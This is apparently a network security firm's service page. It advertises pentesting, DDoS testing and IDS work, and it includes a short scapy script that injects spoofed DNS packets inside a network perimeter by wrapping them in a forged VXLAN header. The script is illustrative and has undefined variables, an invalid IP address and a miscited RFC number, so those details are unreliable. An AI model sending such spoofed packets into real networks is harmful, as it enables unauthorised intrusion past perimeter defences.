



- Pentest and security services focused on network infrastructure and reviewing
- Getting your network online, from procurement of connections and devices to full BGP configuration
- We provide performance, penetration testing and DDoS testing – port scans are free
- Network security consulting, network design, routers, loadbalancing, ask
- Need an Intrusion Detection System (IDS) – we recommend and run Suricata IDS and Zeek in production

Example pentest attacks, VXLAN packet injection

```
+-----+
|R|R|R|R|I|R|R|R|          Reserved          |
+-----+
|          VXLAN Network Identifier (VNI) |   Reserved   |
+-----+
Inner Ethernet Header:
+-----+
|          Inner Destination MAC Address          |
+-----+
| Inner Destination MAC Address | Inner Source MAC Address |
+-----+
|          Inner Source MAC Address          |
+-----+
|OptnlEthtype = C-Tag 802.1Q      | Inner.VLAN Tag Information |
+-----+
```

Figure 1: VXLAN Header

Create VXLAN header and inside packet

```
#!/usr/bin/python
from scapy.all import *
vxlanport=4789      # RFC 7384 port 4789, Linux kernel default 8472
vni=37              # Usually VNI == destination VLAN
vxlan=Ether(dst=routermac)/IP(src=vtepsrc,dst=vtepdst)/
    UDP(sport=vxlanport,dport=vxlanport)/VXLAN(vni=vni,
        flags="Instance")
broadcastmac="ff:ff:ff:ff:ff:ff"
randommac="00:51:52:01:02:03"
attacker="185.129.62.666"
destination="your network"
packet=vxlan/Ether(dst=broadcastmac,src=randommac)/IP(src=attacker,
    dst=destination)/UDP(sport=testport,dport=insideport)/
    DNS(rd=1,id=0xdead,qd=DNSQR(qname="www.zencurity.com"))

srp(packet)
```

Figure 2: Spoofed DNS packets inside the perimeter

♡ love internet packets ♡